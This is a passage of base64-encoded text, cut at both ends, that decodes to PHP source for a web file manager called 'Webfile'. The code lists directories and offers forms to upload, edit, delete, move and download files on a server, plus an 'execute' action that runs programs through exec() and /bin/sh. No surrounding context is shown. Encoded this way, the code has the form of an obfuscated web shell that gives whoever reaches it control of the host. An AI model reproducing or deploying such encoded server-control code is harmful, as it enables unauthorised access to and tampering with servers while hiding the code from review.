ygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsNCn0NCg0KZnVuY3Rpb24gZ2V0bWltZXR5cGUgKCRmaWxlbmFtZSkgew0KCXN0YXRpYyAkbWltZXMgPSBhcnJheSgNCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLA0KCQknXC5naWYkJyAgICAgICAgICA9PiAnaW1hZ2UvZ2lmJywNCgkJJ1wucG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsDQoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLA0KCQknXC50eHQkfFwuYXNjJCcgICA9PiAndGV4dC9wbGFpbicsDQoJCSdcLnhtbCR8XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLA0KCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJw0KCSk7DQoNCglmb3JlYWNoICgkbWltZXMgYXMgJHJlZ2V4ID0+ICRtaW1lKSB7DQoJCWlmIChlcmVnaSgkcmVnZXgsICRmaWxlbmFtZSkpIHJldHVybiAkbWltZTsNCgl9DQoNCgkvLyByZXR1cm4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJcmV0dXJuICd0ZXh0L3BsYWluJzsNCg0KfQ0KDQpmdW5jdGlvbiBkZWwgKCRmaWxlKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmICFmaWxlX2V4aXN0cygkZmlsZSkpIHJldHVybiBmYWxzZTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmIEBpc19kaXIoJGZpbGUpKSB7DQoNCgkJaWYgKCRkaXIgPSBAb3BlbmRpcigkZmlsZSkpIHsNCg0KCQkJJGVycm9yID0gZmFsc2U7DQoNCgkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRkaXIpKSAhPT0gZmFsc2UpIHsNCgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgew0KCQkJCQkkZXJyb3IgPSB0cnVlOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRkaXIpOw0KDQoJCQlpZiAoISRlcnJvcikgcmV0dXJuIEBybWRpcigkZmlsZSk7DQoNCgkJCXJldHVybiAhJGVycm9yOw0KDQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCX0gZWxzZSB7DQoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gYWRkc2xhc2ggKCRkaXJlY3RvcnkpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7DQoJCXJldHVybiAkZGlyZWN0b3J5IC4gJGRlbGltOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkZGlyZWN0b3J5Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiByZWxhdGl2ZTJhYnNvbHV0ZSAoJHN0cmluZywgJGRpcmVjdG9yeSkgew0KDQoJaWYgKHBhdGhfaXNfcmVsYXRpdmUoJHN0cmluZykpIHsNCgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcmVjdG9yeSkgLiAkc3RyaW5nKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gc2ltcGxpZnlfcGF0aCgkc3RyaW5nKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGF0aF9pc19yZWxhdGl2ZSAoJHBhdGgpIHsNCglnbG9iYWwgJHdpbjsNCg0KCWlmICgkd2luKSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAxLCAxKSAhPSAnOicpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhYnNvbHV0ZTJyZWxhdGl2ZSAoJGRpcmVjdG9yeSwgJHRhcmdldCkgew0KCWdsb2JhbCAkZGVsaW07DQoNCgkkcGF0aCA9ICcnOw0KCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsNCgkJaWYgKCRkaXJlY3RvcnkgPT0gc3Vic3RyKCR0YXJnZXQsIDAsIHN0cmxlbigkZGlyZWN0b3J5KSkpIHsNCgkJCSRwYXRoIC49IHN1YnN0cigkdGFyZ2V0LCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJYnJlYWs7DQoJCX0gZWxzZSB7DQoJCQkkcGF0aCAuPSAnLi4nIC4gJGRlbGltOw0KCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsNCgkJfQ0KCX0NCglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOw0KDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoNCmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSAmJiBAcmVhbHBhdGgoJHBhdGgpICE9ICcnKSB7DQoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOw0KCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJCXJldHVybiBhZGRzbGFzaCgkcGF0aCk7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gJHBhdGg7DQoJCX0NCgl9DQoNCgkkcGF0dGVybiAgPSAkZGVsaW0gLiAnLicgLiAkZGVsaW07DQoNCglpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7DQoJfQ0KDQoJd2hpbGUgKHN0cnBvcygkcGF0aCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgew0KCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCRwYXR0ZXJuLCAkZGVsaW0sICRwYXRoKTsNCgl9DQoNCgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsNCgkkcmVnZXggPSAkZSAuICcoKFwuW15cLicgLiAkZSAuICddW14nIC4gJGUgLiAnXSopfChcLlwuW14nIC4gJGUgLiAnXSspfChbXlwuXVteJyAuICRlIC4gJ10qKSknIC4gJGUgLiAnXC5cLicgLiAkZTsNCg0KCXdoaWxlIChlcmVnKCRyZWdleCwgJHBhdGgpKSB7DQoJCSRwYXRoID0gZXJlZ19yZXBsYWNlKCRyZWdleCwgJGRlbGltLCAkcGF0aCk7DQoJfQ0KCQ0KCXJldHVybiAkcGF0aDsNCg0KfQ0KDQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSAoJGZpbGVzaXplKSB7DQoNCgkkc3VmZmljZXMgPSAna01HVFBFJzsNCg0KCSRuID0gMDsNCgl3aGlsZSAoJGZpbGVzaXplID49IDEwMDApIHsNCgkJJGZpbGVzaXplIC89IDEwMjQ7DQoJCSRuKys7DQoJfQ0KDQoJJGZpbGVzaXplID0gcm91bmQoJGZpbGVzaXplLCAzIC0gc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSk7DQoNCglpZiAoc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSAhPT0gZmFsc2UpIHsNCgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgew0KCQkJJGZpbGVzaXplID0gc3Vic3RyKCRmaWxlc2l6ZSwgMCwgc3RybGVuKCRmaWxlc2l6ZSkgLSAxKTsNCgkJfQ0KCX0NCg0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsNCg0KCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOw0KDQp9DQoNCmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgew0KCSRzdHIgPSBzdHJpcHNsYXNoZXMoJHN0cik7DQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gbGlzdGluZ19wYWdlICgkbWVzc2FnZSA9IG51bGwpIHsNCglnbG9iYWwgJHNlbGYsICRkaXJlY3RvcnksICRzb3J0LCAkcmV2ZXJzZTsNCg0KCWh0bWxfaGVhZGVyKCk7DQoNCgkkbGlzdCA9IGdldGxpc3QoJGRpcmVjdG9yeSk7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnc29ydCcsICRfR0VUKSkgJHNvcnQgPSAkX0dFVFsnc29ydCddOyBlbHNlICRzb3J0ID0gJ2ZpbGVuYW1lJzsNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7DQoNCglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsNCg0KCWVjaG8gJzxoMSBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMCI+V2ViZmlsZTwvaDE+DQoNCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGlkPSJtYWluIj4NCic7DQoNCglkaXJlY3RvcnlfY2hvaWNlKCk7DQoNCglpZiAoIWVtcHR5KCRtZXNzYWdlKSkgew0KCQlzcGFjZXIoKTsNCgkJZWNobyAkbWVzc2FnZTsNCgl9DQoNCglpZiAoQGlzX3dyaXRhYmxlKCRkaXJlY3RvcnkpKSB7DQoJCXVwbG9hZF9ib3goKTsNCgkJY3JlYXRlX2JveCgpOw0KCX0gZWxzZSB7DQoJCXNwYWNlcigpOw0KCX0NCg0KCWlmICgkbGlzdCkgew0KCQlsaXN0aW5nKCRsaXN0KTsNCgl9IGVsc2Ugew0KCQllY2hvIGVycm9yKCdub3RfcmVhZGFibGUnLCAkZGlyZWN0b3J5KTsNCgl9DQoNCgllY2hvICc8L3RhYmxlPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIGxpc3RpbmcgKCRsaXN0KSB7DQoJZ2xvYmFsICRkaXJlY3RvcnksICRob21lZGlyLCAkc29ydCwgJHJldmVyc2UsICR3aW4sICRjb2xzLCAkZGF0ZV9mb3JtYXQsICRzZWxmOw0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4NCgk8dGggc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IG1pZGRsZSI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9c21pbGV5IiBhbHQ9InNtaWxleSIgLz48L3RoPg0KJzsNCg0KCSRkID0gJ2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyZhbXA7JzsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2ZpbGVuYW1lJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJZWNobyAiXHQ8dGggY2xhc3M9XCJmaWxlbmFtZVwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1maWxlbmFtZSRyXCI+IiAuIHdvcmQoJ2ZpbGVuYW1lJykgLiAiPC9hPjwvdGg+XA0KIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgllY2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRyXCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cDQoiOw0KDQoJaWYgKCEkd2luKSB7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAncGVybWlzc2lvbicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cInBlcm1pc3Npb25faGVhZGVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXBlcm1pc3Npb24kclwiPiIgLiB3b3JkKCdwZXJtaXNzaW9uJykgLiAiPC9hPjwvdGg+XA0KIjsNCg0KCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdvd25lcicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cIm93bmVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PW93bmVyJHJcIj4iIC4gd29yZCgnb3duZXInKSAuICI8L2E+PC90aD5cDQoiOw0KDQoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlwNCiI7DQoNCgl9DQoNCgllY2hvICcJPHRoIGNsYXNzPSJmdW5jdGlvbnMiPicgLiB3b3JkKCdmdW5jdGlvbnMnKSAuICc8L3RoPg0KPC90cj4NCic7DQoNCglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGxpc3QpOyAkaSsrKSB7DQoJCSRmaWxlID0gJGxpc3RbJGldOw0KDQoJCSR0aW1lc3RhbXBzICA9ICdtdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0LCAkZmlsZVsnbXRpbWUnXSkgLiAnLCAnOw0KCQkkdGltZXN0YW1wcyAuPSAnYXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2F0aW1lJ10pIC4gJywgJzsNCgkJJHRpbWVzdGFtcHMgLj0gJ2N0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydjdGltZSddKTsNCg0KCQllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmciPg0KCTx0ZCBjbGFzcz0iY2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tlZCcgLiAkaSAuICciIHZhbHVlPSJ0cnVlIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPjwvdGQ+DQoJPHRkIGNsYXNzPSJmaWxlbmFtZSIgdGl0bGU9IicgLiBodG1sKCR0aW1lc3RhbXBzKSAuICciPic7DQoNCgkJaWYgKCRmaWxlWydpc19saW5rJ10pIHsNCg0KCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9bGluayIgYWx0PSJsaW5rIiAvPiAnOw0KCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICcgJnJhcnI7ICc7DQoNCgkJCSRyZWFsX2ZpbGUgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsndGFyZ2V0J10sICRkaXJlY3RvcnkpOw0KDQoJCQlpZiAoQGlzX3JlYWRhYmxlKCRyZWFsX2ZpbGUpKSB7DQoJCQkJaWYgKEBpc19kaXIoJHJlYWxfZmlsZSkpIHsNCgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+IF0nOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkcmVhbF9maWxlKSAuICciPicgLiBodG1sKCRmaWxlWyd0YXJnZXQnXSkgLiAnPC9hPic7DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ3RhcmdldCddKTsNCgkJCX0NCg0KCQl9IGVsc2VpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoNCgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZvbGRlciIgYWx0PSJmb2xkZXIiIC8+IFsgJzsNCgkJCWlmICgkd2luIHx8ICRmaWxlWydpc19leGVjdXRhYmxlJ10pIHsNCgkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pOw0KCQkJfQ0KCQkJZWNobyAnIF0nOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGZpbGVbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcuJykgew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWhpZGRlbl9maWxlIiBhbHQ9ImhpZGRlbiBmaWxlIiAvPiAnOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1maWxlIiBhbHQ9ImZpbGUiIC8+ICc7DQoJCQl9DQoNCgkJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7DQoJCQkgICBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgkZmlsZVsnc2l6ZSddID49IDEwMDApIHsNCgkJCSRodW1hbiA9ICcgdGl0bGU9IicgLiBodW1hbl9maWxlc2l6ZSgkZmlsZVsnc2l6ZSddKSAuICciJzsNCgkJfSBlbHNlIHsNCgkJCSRodW1hbiA9ICcnOw0KCQl9DQoNCgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlwNCiI7DQoNCgkJaWYgKCEkd2luKSB7DQoNCgkJCWVjaG8gIlx0PHRkIGNsYXNzPVwicGVybWlzc2lvblwiIHRpdGxlPVwiIiAuIGRlY29jdCgkZmlsZVsncGVybWlzc2lvbiddKSAuICciPic7DQoNCgkJCSRsID0gISRmaWxlWydpc19saW5rJ10gJiYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHVpZCcpIHx8ICRmaWxlWydvd25lciddID09IHBvc2l4X2dldHVpZCgpKTsNCgkJCWlmICgkbCkgZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249cGVybWlzc2lvbiZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyZhbXA7ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj4nOw0KCQkJZWNobyBodG1sKHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nKCRmaWxlWydwZXJtaXNzaW9uJ10pKTsNCgkJCWlmICgkbCkgZWNobyAnPC9hPic7DQoNCgkJCWVjaG8gIjwvdGQ+XA0KIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlwNCiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIj57JGZpbGVbJ293bmVyJ119PC90ZD5cDQoiOw0KCQkJfQ0KDQoJCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygnZ3JvdXBfbmFtZScsICRmaWxlKSkgew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIiB0aXRsZT1cImdpZDogeyRmaWxlWydncm91cCddfVwiPnskZmlsZVsnZ3JvdXBfbmFtZSddfTwvdGQ+XA0KIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlwNCiI7DQoJCQl9DQoNCgkJfQ0KDQoJCWVjaG8gJwk8dGQgY2xhc3M9ImZ1bmN0aW9ucyI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUnIC4gJGkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGVbJ3BhdGgnXSkgLiAnIiAvPg0KJzsNCg0KCQkkYWN0aW9ucyA9IGFycmF5KCk7DQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7DQoJCX0NCgkJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkJJGFjdGlvbnNbXSA9ICdyZW5hbWUnOw0KCQkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgkJfQ0KCQlpZiAoJGZpbGVbJ2lzX2ZpbGUnXSAmJiAkZmlsZVsnaXNfcmVhZGFibGUnXSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjb3B5JzsNCgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOw0KCQkJaWYgKCRmaWxlWydpc193cml0YWJsZSddKSAkYWN0aW9uc1tdID0gJ2VkaXQnOw0KCQl9DQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdleGVjdXRlJzsNCgkJfQ0KDQoJCWlmIChzaXplb2YoJGFjdGlvbnMpID4gMCkgew0KDQoJCQllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb24nIC4gJGkgLiAnIiBzaXplPSIxIj4NCgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPg0KJzsNCg0KCQkJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlvbikgew0KCQkJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlwNCiI7DQoJCQl9DQoNCgkJCWVjaG8gJwkJPC9zZWxlY3Q+DQoJCTxpbnB1dCBjbGFzcz0ic21hbGwiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0JyAuICRpIC4gJyIgdmFsdWU9IiAmZ3Q7ICIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCic7DQoNCgkJfQ0KDQoJCWVjaG8gJwk8L3RkPg0KPC90cj4NCic7DQoNCgl9DQoNCgllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmdfZm9vdGVyIj4NCgk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wIj48aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1hcnJvdyIgYWx0PSImZ3Q7IiAvPjwvdGQ+DQoJPHRkIGNvbHNwYW49IicgLiAoJGNvbHMgLSAxKSAuICciPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJudW0iIHZhbHVlPSInIC4gc2l6ZW9mKCRsaXN0KSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvY3VzIiB2YWx1ZT0iIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGRkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQonOw0KDQoJJGFjdGlvbnMgPSBhcnJheSgpOw0KCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsNCgkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkkYWN0aW9uc1tdID0gJ21vdmUnOw0KCX0NCgkkYWN0aW9uc1tdID0gJ2NvcHknOw0KDQoJZWNobyAnCQk8c2VsZWN0IGNsYXNzPSJzbWFsbCIgbmFtZT0iYWN0aW9uX2FsbCIgc2l6ZT0iMSI+DQoJCTxvcHRpb24gdmFsdWU9IiI+JyAuIHN0cl9yZXBlYXQoJyZuYnNwOycsIDMwKSAuICc8L29wdGlvbj4NCic7DQoNCglmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlwNCiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29yZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRlX3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFj